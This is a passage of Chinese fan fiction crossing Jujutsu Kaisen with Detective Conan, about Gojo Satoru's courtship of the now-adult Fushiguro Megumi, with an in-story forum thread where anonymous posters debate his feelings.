不管他想不想要,那都是五条悟的一片心意。就算他不喜欢,把悟先生的心意随便送给别人也太过分了。 “伏黑君真是个好人。”黑羽快斗夸得真心实意,然后下一句就暴露了调皮本性,“怪不得五条先生这么喜欢你。” 伏黑惠害羞得面红耳赤:“黑羽学长也是个很好的人。” “谢谢。”黑羽快斗大大方方地道谢,“伏黑君将来要是结婚了,要邀请我参加婚礼啊!” 伏黑惠:“……不,目前没有这个打算,如果将来有的话会邀请您的。” 工藤新一严肃正经地把话题拉回来:“所以,精油,伏黑君打算怎么处理?” “还是送给悟先生吧,我不喜欢用这些。”伏黑惠有点心累,又习以为常地说,“反正我不回礼,他还是会不停送东西给我的。” 黑羽快斗:有一种被秀了恩爱的感觉,虽然秀恩爱的人毫无自觉。 工藤新一还在认真地出主意:“如果不想接受对方的话,礼物这种东西最好还是不要收吧。” “我知道,但我没办法拒绝悟先生。”伏黑惠很苦恼地说,“这次的玫瑰我也不想让他送,但是……” 工藤新一同情地看着他。 黑羽快斗若有所思地看着他。 伏黑惠叹了口气,然后又收到了五条悟的消息。 “抱歉,我得走了。”伏黑惠看了一眼手机,起身和两位学长道别。 工藤新一本能地关心道:“这么着急,有什么需要帮忙?” “没有,是悟先生说他今天回东京,想一起吃个饭。”伏黑惠说,“我正好把那瓶精油给他。” 工藤新一看了一眼天色,不解地说:“吃晚饭需要这么早吗?” 伏黑惠无奈地说:“悟先生还想吃另一家蛋糕,需要排队。” “哦。”工藤新一自己不会排队买蛋糕,但是他也会排队买福尔摩斯,所以理解地点点头。 黑羽快斗跟伏黑惠挥手告别:“如果需要造型上的建议可以随时联系我。” 伏黑惠不明所以地看了他一眼,但还是礼貌地道谢。 伏黑惠离开后,黑羽快斗看向工藤新一,认真地问:“他们跟结婚了有什么区别?” 工藤新一:??? “啊?”睿智的大学生侦探先生莫名其妙地看着他,“他们还没在一起呢。” “我就是说啊,他们这种除了嘴上还没在一起,跟结婚了有什么区别?”黑羽快斗是在认真的困惑。 工藤新一思考了一下:“一起生活对他们来说是一种习惯,但不是爱情。” 黑羽快斗吐槽道:“有没有可能,他们其中一个已经认为是爱情了,只是另一个还死不承认。” “伏黑君自己都不承认,你就知道了?”工藤新一倒不是故意质疑他,只是的确没从伏黑惠身上看出端倪。 黑羽快斗语气轻快地说:“还是那句话,如果讨厌的话,应该会远远避开吧。你会跟不喜欢的追求者多接触,还排队帮忙买蛋糕吗?” 工藤新一承认:“不会。” 黑羽快斗说:“喜欢一个人不就是在意他的喜好和心情吗?我看伏黑君做得都很好。那位五条先生绝对会越陷越深。” 这次轮到工藤新一面露纠结了。 “干嘛?”黑羽快斗好奇地看着他,“你们警方到底是希望他们在一起还是不希望他们在一起?” “这不是我们希望就能决定的吧!”工藤新一说,“要是那位五条先生知道我们敢插手肯定会生气。” 黑羽快斗感慨地说:“听起来那位五条先生性格很凶啊!” 工藤新一心累地说:“是啊,虽然表面上看不太出来……要是那位五条先生不能得偿所愿,总觉得对方只是低气压也能搞出些事来。如果他们在一起了,两个人代表的势力联合起来似乎也比较不妙,感觉会变成独裁社会。” 黑羽快斗无语地问:“他们现在这种关系,难道代表的势力就没有联合吗?” “唔……但这个也没办法啊。”工藤新一无奈地说,“所以只是做预案嘛,我们也没打算做任何事,只是未雨绸缪而已。” 黑羽快斗摸了摸下巴,唯恐天下不乱地说:“不如试试看帮个忙怎么样?” 工藤新一大惊失色:“你别乱搞!我不想去给你认尸!” “别这么紧张,我又不会做什么。”黑羽快斗兴致勃勃地给伏黑惠发了条消息,为了让工藤新一放心还给他看了。 工藤新一看着黑羽快斗手机屏幕上的邮件,疑惑地说:“就这样?” “都说了不会乱搞的。”黑羽快斗笑眯眯地说,“我还是挺惜命的吧。” 另一边,伏黑惠先回宿舍取了精油,又去了五条悟之前说过的很想吃但是没空排队的网红蛋糕店。在经过漫长的排队之后,他带着蛋糕去了预约好的餐厅,嗯,也是他预约的,预约信息发给了五条悟和伊地知洁高各一份。五条悟只要坐着车过去就行了。 白色大猫猫在车后座幸福地打滚:“惠真是太贴心了,他一定超级喜欢我!是不是,伊地知?” 伊地知洁高已经在长久的折磨中培养出了条件反射:“您说得对。” “可惜不是烛光晚餐,但是没关系,我们可以下次去吃。”五条悟愉快地说。 很难说伏黑惠自己预约餐厅有没有避免这个选项的意图。 反正到了餐厅之后,想点情侣套餐的五条悟被伏黑惠以已经点过餐委婉拒绝了。 但五条悟还是很开心,因为他收到了伏黑惠的爱心礼物。 虽然没有华丽的包装,但听到是伏黑惠亲手做的,五条悟还是很感动地把玫瑰精油收起来:“这就是我们的定情信物了。” 伏黑惠给出了拒绝三连:“不,没那回事,只是不想浪费而已。” 五条悟委屈巴巴地看着伏黑惠。 伏黑惠理智冷静地把排队买来的蛋糕递给他。于是五条悟又开心起来了。 伏黑惠看着五条悟吃蛋糕,问:“悟先生,这种蛋糕好吃吗?甜度怎么样?” “挺好吃的,甜度算是合适吧。”五条悟疑惑地问,“惠怎么会问这个?” 伏黑惠拿着手机打字,随口说:“我有一位学长也喜欢吃甜食,是他问的。” “惠在东大的学长啊……”五条悟眯起了眼睛,“你们很熟吗?” “黑羽学长帮了我不少忙。”伏黑惠想起五条悟送到校门口的玫瑰就想瞪他,“把玫瑰做成精油也是黑羽学长的主意。” “哦——”五条悟拉长了声音,露出一个微笑,“那下次也让我见见他吧,毕竟是惠的新朋友嘛!” 第79章 五条悟做事一向雷厉风行, 说想见见伏黑惠的新朋友,第二天送伏黑惠回东大的时候就死缠烂打地要跟他的新朋友见见面。 伏黑惠被他磨得没办法,只能黑羽快斗发消息, 但是也瞪了五条悟一眼:“哪有突然找人出来见面的?黑羽学长要是有课呢?” 五条悟无辜且理直气壮地说:“可是我这么忙, 下次有空就不知道是什么时候了啊!” 是啊,悟先生太忙了。伏黑惠也不好意思再责怪他,无奈地问:“所以您为什么非要见黑羽学长不可啊?” “因为他是惠的新朋友嘛!”连夜调查了黑羽快斗的五条悟说, “我想要了解一下敌情。” “什么敌情?”伏黑惠脑袋上冒着问号, 他握住手机,神情严肃地问, “黑羽学长的身份有什么问题吗?” 五条悟眨巴着眼睛看着伏黑惠:“看起来好像没有, 惠觉得他有问题吗?” 伏黑惠回忆了一下跟黑羽快斗的相处:“黑羽学长为人很热心, 人缘很好, 大家都很喜欢他, 不像是坏人。” “哦,大家都很喜欢他啊……”五条悟拉长了声音, 显得很是阴阳怪气,“那惠也喜欢他吗?” 伏黑惠终于听出了五条悟的意思, 他倒是也没有那么迟钝:“悟先生, 您……” “我怎么了?”五条悟扁扁嘴, 像一只不高兴的猫猫, “惠怎么不回答我的问题?” 伏黑惠实话实说:“因为说不喜欢怪怪的,但我也并没有喜欢黑羽学长。” 白毛大猫猫的猫尾巴一下就竖起来了。五条悟故作淡定地点头:“这样啊, 那惠喜欢我吗?” 伏黑惠干脆地说:“喜欢您,但不是那种喜欢。” 五条悟趴到伏黑惠肩上,把脸埋进他的脖颈间,喵呜呜地说:“惠好过分!” 伏黑惠也不知道自己哪里过分了, 但是习以为常地接受了五条悟的抱怨,敷衍地拍了拍五条悟的脑袋。 黑羽快斗远远看着这一幕,对工藤新一说:“你确定他们没在一起?” “我确定。”工藤新一目光游移,但是坚定地说,“虽然五条先生和伏黑君的相处的确比较……” 黑羽快斗说:“别找形容词了,一般我们管这个叫做暧昧期。” 工藤新一半月眼吐槽道:“你很懂啊!” 黑羽快斗得意地说:“嗯哼!跟你这个情商低下的侦探不一样,魔术师可是造梦行业。” 工藤新一问:“你打算给他们两个谁造梦?” “爱情美梦里不需要第三个人的位置。”黑羽快斗淡定地说,他看着五条悟对着伏黑惠撒娇,“这位五条先生真的已经三十多岁了吗?” “是啊。”工藤新一对此倒是接受良好,毕竟他妈三十多岁也会跟他爸撒娇。 远处一黑一白两个脑袋亲密地贴在一起,突然,白色的脑袋往上抬了抬。黑羽快斗说:“我感觉他看到我们了。” “正常,五条先生是「六眼」。”工藤新一半是幸灾乐祸半是关心地说,“你的咒术师身份瞒不住他。” “对哦。”黑羽快斗貌似担心地说,“他应该不会把我的身份捅到警视厅吧。” 工藤新一摇了摇头:“五条先生和警视厅的关系并不紧密,只是普通的合作关系。” “那不就行了吗?”黑羽快斗打了个响指,“我们下去吧。” 工藤新一被人拽下去的时候还一脸懵逼:“你下去不就行了吗?为什么还要带着我?!” “这不是省得你之后想知道我们谈了什么还得费心套话吗?”黑羽快斗煞有其事地说,“名侦探,我对你好吧?” “我谢谢你了!”工藤新一看着距离他们越来越近的五条悟和伏黑惠也跑不掉了,咬牙切齿地说。 自我介绍过后,伏黑惠率先道歉:“抱歉,黑羽学长,这么突然地麻烦您过来。” 黑羽快斗笑吟吟地说:“没关系啊!反正我平时除了上课也没什么事做,还有这么好吃的甜品可以吃。” 他们坐在大学附近的一家甜品店里,甜腻腻的气氛看似和几个大男人格格不入,但点完餐之后,五条悟和黑羽快斗两个甜党就自然地融入了,只剩下伏黑惠和工藤新一两个不喜欢甜食的人一人一杯咖啡坐在这儿看着两个人面露幸福。 五条悟没有因为甜品好吃就忘记自己的目的,他就是为了宣誓主权来的,张口就是:“谢谢你们照顾惠。” 工藤新一还客气了一下:“伏黑君本身就很独立,不需要我们照顾。” 黑羽快斗故作疑惑地问:“五条先生是伏黑君的……” 五条悟大大方方地说:“我是惠的追求者。” “悟先生!”伏黑惠下意识制止道。 “哇!”黑羽快斗朝着伏黑惠眨了眨眼,“这么帅气的追求者啊,伏黑君!” 伏黑惠面对黑羽快斗调侃的眼神,莫名脸红起来:“请不要调侃我了,黑羽学长。” “这不算是调侃吧,顶多算是说了实话。”黑羽快斗笑吟吟地说,“要是其他人知道伏黑君有这么帅气的追求者肯定会羡慕的。” 五条悟看向伏黑惠,唉声叹气地说:“但惠一点儿都不喜欢我。” “怎么会呢?”黑羽快斗故作讶异地说,“我想向伏黑君借几朵玫瑰做魔术道具,伏黑君都拒绝了,还特意做成了精油,应该是很喜欢您吧!” “黑羽学长!”伏黑惠震惊地睁大了双眼,不可置信地看着黑羽快斗。 黑羽快斗看起来很无辜,后知后觉地说:“抱歉,这是需要保密的事吗?” “不是!”五条悟快乐地说,周围的气氛仿佛都在撒粉色小花花,“我很喜欢听。” 虽然他已经收到了惠做得精油,但是从别人嘴里再听一遍惠对他的重视还是让他很开心。 伏黑惠张了张嘴,想要解释什么,面对五条悟亮晶晶的蓝眼睛却总觉得说不出口。 黑羽快斗挖了一口蛋糕,看到他的反应,暗中点了点头。妥了,这不是被吃得死死的吗? 伏黑惠看了看黑羽快斗,又看了看五条悟,突然有点绝望。 工藤新一同情地看着他。 五条悟突然开口道:“黑羽君是家系的咒术师吗?” 伏黑惠愕然地看着黑羽快斗。 黑羽快斗耸了耸肩:“不是,是有一天突然觉醒的。” 五条悟好奇地问:“黑羽君不打算来高专上学吗?” 黑羽快斗气定神闲地说:“我都上大学了,现在再去高专有点本末倒置,而且我本来也不打算做咒术师,所以不去上课也无所谓吧。” 五条悟问:“黑羽君能见到咒灵,不想系统学习一下袚除它们的方法吗?” 黑羽快斗说:“只要不被发现就行了吧?我没有那种勇于作死的心。” 感觉自己被嘲讽了的工藤新一在桌面下踩了他一脚,没踩着。 伏黑惠为急转直下的形势眨了眨眼睛,疑惑地看向工藤新一。 工藤新一摇了摇头,也不知道是示意他也不知道,还是示意他不能说。 但每个人都有秘密,伏黑惠也不在意黑羽快斗的隐瞒,他们的关系没有好到那个地步。 五条悟微微低头,墨镜顺着高挺的鼻梁往下滑了滑,露出一双能看透一切的蓝眸。 黑羽快斗目光坦然地回视他。 片刻后,五条悟把墨镜往上推了推,挡住那双眼睛,用开玩笑的语气说:“我还以为黑羽君是故意接近惠的呢。” 伏黑惠自认为知道五条悟这么急着要见黑羽快斗是因为什么了,顿时对他对悟先生的揣测充满内疚。 悟先生分明是担心他的安全,他居然怀疑对方是因为吃醋。 黑羽快斗慢悠悠地说:“这个啊……其实是有一天工藤突然给我打电话,让我帮个忙。” 伏黑惠试图拦截:“等等!” 五条悟顿时痛心疾首:“惠和别人有秘密了吗?” 工藤新一开口道:“其实就是伏黑君不想因为玫瑰被围观而已。” 五条悟睁大了双眼,看着伏黑惠眼神让人莫名感觉他很委屈:“所以我送惠玫瑰的事没人知道吗?!” 伏黑惠不知道为什么倏地有点心虚,摸了摸后颈,微微别过脸,“嗯”了一声。 五条悟:…… 宣誓主权大失败!几个字砸在他的脑海中,五条悟倒抽了一口冷气。 “惠~”五条悟像是深情厚谊被辜负了一样看着伏黑惠。 伏黑惠:…… 他试图看向工藤新一和黑羽快斗求救。 这两个靠谱的学长不靠谱地低着头,假装自己神游天外。 好在黑羽快斗并不绝情,给了伏黑惠一个正经的不正经建议。 伏黑惠听到手机提示音响起的时候如蒙大赦,他点亮手机屏幕,看到黑羽快斗发给他的消息。 【你哄哄他,加油!——黑羽学长】 伏黑惠:??? 他看着委屈巴巴的五条悟,满头问号:这要怎么哄啊?买甜品有用吗?他们都坐在甜品店里了…… 伏黑惠欲言又止:“悟先生……” “嗯?”五条悟眼巴巴地看着伏黑惠。 伏黑惠为难地看向对面的两个人。对面的两个人立刻知情识趣地拿起菜单挡住脸,假装自己看不见。 伏黑惠看着五条悟。 五条悟看着伏黑惠。 两个人对视良久。 五条悟被自家小孩变幻莫测的脸色逗笑了。他温柔地说:“惠想让我不生气的话,不要动就好了。” 伏黑惠迷惑地看着他,还是很听话地坐好了。 五条悟揉了揉伏黑惠的头发,倾身在他的额头上亲了一下。 伏黑惠骤然睁大了眼睛。 第80章 在场的人都被他的神来一笔弄傻了。 工藤新一手一抖, 黑羽快斗连忙把菜单扶稳,将两人的脸挡得严严实实。他挤眉弄眼地朝工藤新一比了个口型:‘哇哦!’ 工藤新一瞪了他一眼,用眼神问他接下来怎么收场?! 黑羽快斗无辜地看着他, 他也不知道事情会变成这样啊!不到二十岁的小年轻怎么会想到这个世界上居然有一言不合就大庭广众亲亲的人。 工藤新一用眼神疯狂暗示:那我们现在怎么办?! 黑羽快斗眨了眨眼睛:那也没办法, 只能等他们结束了。 工藤新一生无可恋地捂住了脸,在心里咬牙切齿地痛骂黑羽快斗。 黑羽快斗掏出手机点开备忘录,示意工藤新一:既然不能说话也不能有大动作, 来聊天吧。 桌子对面的两个人安静地假装自己不存在。五条悟盯着伏黑惠, 连眼都不敢眨,紧张地等待着他的反应。 伏黑惠愣住了整整两分钟。 柔软的嘴唇落在他额头上仿佛轻柔的花瓣, 却在他心中掀起了滔天巨浪。 伏黑惠听到了自己的心脏激烈跳动的声音。他的眼中映出五条悟的影子, 那个人笑得气定神闲, 伏黑惠却莫名感觉到对方的身体有几分紧绷。 他眨了眨眼睛。 血液在血管中流动着, 带着奔腾不息的情感。五条悟的心脏撞击着胸腔彰显着强烈的存在感, 原本的镇定随着伏黑惠的沉默逐渐转为无措。 五条悟看着伏黑惠漆黑的睫毛如同蝶翼般轻颤,挡住了那双翠绿的眼眸。他脱口而出:“惠。” “嗯。”伏黑惠下意识应了一声, “悟先生。” 五条悟闭上了嘴,突然不知道该说什么, 准备好的调侃在这个时候都被咽了回去。 回过神来的伏黑惠看着周围的环境, 后知后觉地红了脸颊。 “惠讨厌吗?我刚才那样……”五条悟语无伦次地问, “亲一下额头应该没关系吧, 以前我也亲过惠……” 伏黑惠若有所思地摸了摸额头被亲的位置,摇了摇头:“不讨厌。” 五条悟嘴里的话紧急刹车, 蓝眼睛唰得一下亮了,立刻得寸进尺地说:“不讨厌,那就是喜欢了!” 伏黑惠又沉默了,他低着头, 谁也看不到他的神色,影子缠上他的手指,幻化出两只耳朵,毛绒绒的头顶蹭了蹭伏黑惠的手。 黑羽快斗好奇地从菜单后面探出一只眼睛,被工藤新一拽着领子拎了回去,想看伏黑惠的术式可以之后再看,这家伙非得在五条悟面前展现他对伏黑惠有兴趣吗?! 五条悟看着两只「玉犬」借着桌面的遮掩,从影子里钻出两个脑袋,在伏黑惠手上蹭着。 半晌后,伏黑惠抬起头,看向五条悟。 五条悟这辈子第一次体会到了什么叫做提心吊胆。可能形容得不太准确,但看在他有生以来第一次这么紧张的份上…… “悟先生。”伏黑惠开口道,眉头微微皱起,不像是生气或者厌恶,反倒像是在因为什么困惑不解。 “什么?”五条悟的喉结滚动了一下,努力保持着大人的成熟冷静看着伏黑惠。 伏黑惠想了想,说:“请您别动。” 五条悟刚点了下头,就看到伏黑惠伸手,把掌心按在他的心口。 五条悟:?!?!?! 他原本就不算平稳的心跳顿时又开启了活跃新高度,以至于五条悟甚至有些头脑发晕。 伏黑惠若有所思地感受着他的心跳频率,另一手放到了自己心口上。 五条悟茫然地看着伏黑惠。 半晌后,伏黑惠收回了手,仿佛神游天外地坐在椅子上。 五条悟:??? 黑羽快斗和工藤新一在菜单后交换着神色。 工藤新一疑惑地看向黑羽快斗:怎么回事?他们为什么又不说话了? 黑羽快斗面露无辜:我怎么知道? 工藤新一翻了个白眼:你不是大众情人吗? 黑羽快斗眨了眨眼睛:但我也没有谈过这种恋爱啊! 伏黑惠终于完全回过神来,看向五条悟:“您还有其他事吗?” 五条悟困惑地指了指自己。 伏黑惠理所当然地点头。 五条悟观察着伏黑惠的反应,犹豫地摇了摇头。他今天其实就只是来宣誓主权的,发现黑羽快斗也是咒术师是意料之外,没有什么正事。 伏黑惠点了点头:“那我让伊地知先生来接您?” 五条悟看向自己面前刚吃了一半的蛋糕,倏地悲从中来:“惠连蛋糕都不让我吃完了吗?” 伏黑惠仿佛才意识到这件事,目光游移:“那,等伊地知先生来了,您就吃完了。” 五条悟大惊失色:“惠就这么不想看见我吗?!”他只是亲亲了对方的额头,都没有亲亲他的嘴。 伏黑惠紧张地舔了舔唇瓣,镇定地解释道:“我没有不想看见您,只是需要一点时间自己思考。” 五条悟怀疑地看着伏黑惠:“真的吗?” 伏黑惠认真地说:“真的。” 五条悟继续问:“惠没有讨厌我亲你?” “……没有。”伏黑惠的耳朵红了。 “好吧。”五条悟一脸委曲求全地说,“那我吃完蛋糕就让伊地知来接。” 伏黑惠松了口气。 五条悟要求道:“惠不许再拉黑我!” 伏黑惠说:“好,但您也不要再往学校送玫瑰了。” 五条悟不情愿地看着他。 伏黑惠坚定地回视他。 五条悟勉强点了点头。好吧,不送玫瑰了,改成送别的。 伏黑惠觉得身上有点冷,怀疑地看着五条悟。 五条悟无辜地睁着剔透的蓝眼睛看着他。 伏黑惠无力地收回了目光,开始思考要不要加入黑羽学长的魔术社里。 黑羽快斗和工藤新一两条无辜的池鱼在诡异的安静中连大气都不敢出。 五条悟慢吞吞地吃着蛋糕,一边吃一边瞄着伏黑惠,像是把对方当成配菜。 伏黑惠被他看得耳朵上的红色蔓延到了脸颊,然后越来越红,越来越红,最后忍无可忍地瞪向五条悟。 五条悟满脸甜蜜地看着他。伏黑惠仿佛觉得伤眼一样挪开了目光,拿出手机开始联系伊地知洁高。 收到伏黑惠消息的伊地知洁高:?? 他看了看伏黑惠让他去接五条悟的消息,又看了看之前收到的五条悟让他晚点再过去接他的消息,无语凝噎。 伊地知洁高短暂地权衡了一下,还是被迫助纣为虐,给伏黑惠回复信息。 【抱歉,伏黑君,我现在暂时分不开身,可能还需要一点时间才能去接五条先生。——伊地知先生】 伏黑惠看完信息,不快地皱起眉头。 五条悟可怜巴巴地看着他:“惠~”真的这么想赶我走吗? 伏黑惠开口道:“伊地知先生不是一直都是跟着您的吗?”他看向五条悟,担心地问,“是不是高层又做什么了?” 五条悟的眼神一下柔软下来:“没有,那些人不敢做什么。” 伏黑惠问:“您最近很忙吗?” “没有啊。”五条悟心里软乎乎的,“惠不用担心会耽误我的时间。” 伏黑惠接着问:“那伊地知先生在忙什么?” “嗯……”五条悟心念电转,“我让他帮我调查一些事。” 伏黑惠怀疑地看着他。 五条悟镇定地回视他:“嗯。” 伏黑惠问:“刚才您联系伊地知先生的时候,他没跟您说吗?” “说了。”五条悟眨了眨眼睛,发现好像露馅了,这就是惠太了解他导致的弊端了。 果然,伏黑惠的目光已经转为了然。 如果刚才伊地知洁高说暂时没空来不了,那刚才五条悟就会说出来,而不是装作已经通知了伊地知洁高的样子,靠吃蛋糕拖延时间。 五条悟拉长了声音,撒娇道:“惠让我留下来嘛~” 伏黑惠拒绝道:“学校宿舍不让外人留宿。” 五条悟不依不饶地问:“惠今天不能跟我回家住吗?” 伏黑惠说:“不行,我明天早上有课。” 五条悟趴到了桌面上。 伏黑惠拍了拍他的后背,继续给伊地知洁高发消息:“您难得没事,早点回家休息吧。” 【伊地知先生,请不要放任悟先生的任性,麻烦您来接他吧。——伏黑惠】 伊地知洁高讪讪地看着伏黑惠的消息,左右为难,只好又给五条悟发消息。 五条悟正在跟伏黑惠争辩道:“跟惠在一起就是在休息!” 伏黑惠用看无理取闹的狗子的眼神看着他,耐心地说:“现在天都快黑了,您还是回去睡觉吧。” 黑羽快斗和工藤新一同时看向窗外正在下山的太阳。好吧,夕阳西下,说是快天黑了也没错。 五条悟可怜巴巴地问:“我们不能一起吃晚饭吗?” 伏黑惠犹豫了一下,还是说:“下次吧,今天我想冷静思考一下。” 五条悟看伏黑惠不会改变主意了,蔫巴巴地说:“那好吧。” 他给伊地知洁高回了消息,让对方立刻来。 收到消息的伊地知洁高顿时松了口气,险些喜极而泣。 五条悟恋恋不舍地被伊地知洁高接走了,看着伏黑惠的眼神含情脉脉得让人起鸡皮疙瘩。 伏黑惠冷酷无情地把五条悟塞回了车上,跟他挥手:“悟先生再见。” 五条悟把车窗摇下来,依依不舍地看着伏黑惠,被车拉走的时候只差掏条手帕出来挥舞。 黑羽快斗和工藤新一终于松了口气,能够直视他们的学弟了。 伏黑惠疑惑地问:“黑羽学长,怎么分辨对一个人是哪种喜欢?” “呃……”黑羽快斗想了想,无奈地摊开双手,“虽然会有很多表现,但其实每个人的感受都不同。感觉有时候就是一瞬间的事,听从自己的心总是没错的。”【..top】 80-90 第81章 【情感】【匿名】【主题】请问监护人对我表白了该怎么办? >>>>>>>第二页 123# 一个大男人告白失败就哭了也太脆弱了吧 124# 男人哭怎么就脆弱了?!男人哭吧哭吧不是罪(没有洗白那男的的意思) 125# 恐怕又是那男的的招式, 就是为了招LZ心疼的 126# 我同意LS,那男的一看就不是省油的灯 127# 只是翻了个页,‘先生’就成了‘那男的’ 128# 没改用‘禽兽’做代称已经是我们体谅LZ了 129# 哈哈哈哈哈哈体谅的是LZ 130# 说起来, LZ人呢? 131# 好久没出现了, 难道是被先生感动了,真的答应了? 132# 不会吧,看LZ的发言对自己的感情还是有清醒认知的 133# LZ如果真的清醒就不会来发帖, 而是应该直接报警! 134# 我第一次这么真情实感的希望这是个绿贴, 不然我都不知道怎么救LZ出火坑,先生=救命恩人简直BUG 135# LZ?LZ人呢? 136# LZ你别吓我们, 该不会真的被感动了, 准备对恩人以身相许吧? 137# 不会吧……LZ不会因为对方哭一哭就妥协了吧, 这也太好骗了…… 138# LZ不是一直都挺好骗的吗 139# LZ——LZ你出来啊—— 140# 真不能报警吗? …… …… …… 183#LZ 抱歉, 没想到大家都还在关注我的事。这个帖子可以结束了, 我发现我对先生似乎也动心了。感谢大家的帮忙。 184# LZ!你终于回来了LZ!我们还以为你被老男人囚禁了!等等,你说啥?!!! 185# 什么东西?什么动心?! 186# LZ你先别结束!!!不然我真的要报警了!!! 187# 天杀的, 是谁说LZ被感动了要以身相许了! 回136#:你是不是先生派来的卧底! 188#我是136 我不是!!!! 189#LZ 统一回复一下LS的质疑:先生不会骗我。 190# LZ你能不能不要先生脑,我们现在的问题是你是不是……算了, 你就是!你个恋爱脑!!! 191# LS别暴躁, LZ还小啊!说不定只是被PUA了 192# 绝对是被PUA了吧!哪个十八岁小年轻会喜欢上大叔啊! 193#LZ 先生年纪并不大, 应该还不到会被说是大叔的年纪。 194# LZ这件事的重点不是先生的年纪啊【呐喊.jpg】 195# 但我的确想知道先生多大了, 十二年前就能资助LZ,现在怎么也得四十多了吧, 这还不算大叔,LZ你的滤镜还是这么厚 196#LZ 先生今年三十一岁。 197# 嘶 198# 三十一?!! 199# 跟LZ的差距似乎一下子就缩小了(沉思) 200# 你们别被误导了啊!LZ六岁被先生资助,那年他十九了啊! 201# 十九岁,也不是很大——马上就要四十岁的大叔如是说 202# 十九岁本来就不是很大——十八岁的备考生如是说 203# 先生十九岁就有钱资助LZ和他姐姐两个孩子了??? 204# LS你莫不是忘了先生出身大族的人设 205# 如果是十九岁的话, 怪不得我们说先生资助LZ的时候就早有预谋,LZ一直不信。这个年纪有钱有闲,可能真的只是一时好心。 206# 不要年龄滤镜,有的人从小就坏! 207#LZ 先生是很好的人,请不要这么诋毁他。 ==============206L已被发帖人拉黑,无法在本帖内进行回复============== 208# 啊,这,LZ真是雷厉风行 209# 以前LZ对先生的滤镜也挺厚的,但是感觉没有这么应激啊 210# LS忘记LZ说他发现自己动心了吗?对心上人怎么一样【心累的微笑.jpg】 211# 不知道应该给LZ打报警电话还是医院电话 212# 心理医生更合适吧 213# LZ先说说你为什么突然动心了吧?你看看你的帖子标题,你不觉得内疚吗?!! 214#LZ 我为什么要内疚? 215# 好问题。因为你伤害了我们的感情!!! 216#LZ 我没有。 217# 你有!你知道我们为你提心吊胆了多久吗?!我们以为你被先生囚禁了,结果你回来说你动心了?!!!天杀的!以后我要禁止恋爱脑发帖!!! 218#LZ 我查了一下,我并不符合恋爱脑的定义。以及,对先生动心不是很正常的事情吗? 219# 【无力扶墙壁.jpg】 220# 为……什……么…… 221# 深呼吸。LZ还是个孩子。他还不懂爱情。深呼吸! 222#LZ 我已经成年了。 223# LZ你先说你为什么突然改变主意了,你不是想拒绝告白的吗?! 224#LZ 因为先生亲我的时候,我的心跳频率跟他是一样的。 225# 他亲你了!!!! 226# 你都拒绝告白了他还亲你!!! 227# 强吻揍他啊!!!!! 228# LZ你心跳加速有可能是气得啊!!! 229# LZ除了心动之外,生气愤怒想揍人也会心跳加速的!!! 230#LZ 是不是想揍人这个我还是分得清楚的。虽然先生在学长面前亲我有点让人害羞,但没有想揍他,没来得及想…… 231# 还是在学长面前……完了……LZ的清白…… 232# 这男的是故意的吧【暴躁.jpg】 233#LZ 请不要对先生进行恶意揣测,我一开始也误会了,后来发现先生见学长是有正事。 234# 什么正事? 235# 你的先生和你的学长能有什么正事?两个人之前认识? 236#LZ 之前不认识,是我提到学长之后,先生去调查了一下。 237#???啊??? 238# 什么?!?! 239# …… 240# LZ,你说实话,你先生到底是干嘛的?杀人不用偿命,家里有钱有势,还能随便调查别人……不是,他为什么要调查你学长啊,占有欲这么重吗?! 241# LZ快跑!!! 242#LZ 先生是担心我的安全才会调查学长的。 243# 不是,LZ你…… 244# 看到LZ这么熟练的样子,我不禁怀疑,LZ,你身边的每一个人,先生都会去调查吗? 245#LZ 并不是,以前不会,现在是因为某些原因,先生对我的安全比较紧张 246# ……以前 247# ……现在 248# 能是什么原因,不就是因为他对你动心了吗【尖叫.jpg】 249#LZ 跟这个没有关系,先生在对我告白之前就是这样了。 250# 有没有可能,告白时间并不等于动心时间,他开始对你身边的人有敌意的时间才是他真正的心动时间【无语.jpg】 251# 同意 252# 同意 253# 同意 …… 262#LZ 不会,以先生的性格来说,动心和告白的时间应该不会相隔很久。先生担心我的安全的时间和之前发生的某些事的时间对得上。 263# 不一定啊,LZ,你想想,一个人意识到自己心动到决定要告白,还是对自己从小看到大的孩子告白,只要你的先生真的是好人不是人渣,总会纠结一段时间的吧! 264# 就是啊,LZ你那么坚持先生是好人,那好人肯定会纠结啊! 265# 好人根本就不会对自己从小看到大的孩子告白 266# LS你小心也被LZ禁言 267# 我真没招了,好言难劝该死的鬼,LZ随便吧,出贴了 268# LS出贴就自己出呗,诅咒LZ干嘛 269# 就是啊,LZ还年轻,LSS没年轻过吗 270#LZ 没关系,我不在意这些。我认为先生不是会纠结这些……东西的人。 271# 不是…… 272# 啊??? 273# 真的,LZ天天迷惑发言真的很像绿贴,但是给人的态度又很真诚 274# 我觉得LZ就是被PUA了不自知 275#LZ 我查了PUA的意思,先生不会这么对我的。 276# ……LZ你真挺爱的,我都要被你说服开始嗑你们了 277# LZ……LZ,你觉得先生不会纠结的依据是什么?你确定吗?这跟你说的先生的定位偏差很大啊! 278# LS你好天真,LZ嘴里的先生跟他描述先生做出来的事根本一直都对不上 279#LZ 因为我们的身份吧……感觉很少会纠结这些,比起纠结,可能放手去做更加重要。失去的不会重来,想做什么就要及时去做。 280# LZ你们啥身份啊 281# 笑死了,又是迷惑身份 282# 可能是特工吧 283# 士兵 284# 咒术师 285#LZ 这个不重要。 286# 对,LZ你还是说说先生亲你的事吧 287#LZ 先生只是亲吻了我的额头,是我自己的反应过激了。 288# LZ你认为先生不会纠结,是不是因为你自己就不会纠结 289# 啊??? 290# 什么???? 291#我是288 很明显吧,LZ发现自己动心就直接来帖子说要结束,很明显是打算答应先生的告白就不需要求助了 292# 不是??? 293# 啊?????? 294# LZ!LZ是真的吗?!?! 295#LZ 是的。 第82章 伏黑惠看着自己在论坛上的发言, 心中感到一股尘埃落定。 虽然突然对悟先生动心的确不在他预料之内,但是……伏黑惠想起五条悟跟他说他只是没开窍,那他现在应该算是开窍了? 伏黑惠眨了眨眼睛, 犹豫地看了一眼手机上五条悟的联系方式。 他想了想, 给伏黑津美纪打了一个电话。 手机听筒中传来“嘟嘟”声,伏黑惠突然有点紧张。两只「玉犬」从影子里钻出来,一左一右趴在伏黑惠身边, 轻轻蹭他。 伏黑惠的手埋在狗狗厚实的皮毛里, 一下又一下地顺着「玉犬」的毛发。 电话接通了。 “津美纪。”伏黑惠无声地咽了下口水。 “惠。”伏黑津美纪的声音温温柔柔地从电话另一边传来,“好久不见。” 伏黑惠清了清嗓子, 这时论坛网友们的发言在他脑海中呼啸而过, 让他莫名有几分尴尬:“津美纪, 你有空吗?” “有啊。”伏黑津美纪仿佛意识到了什么, 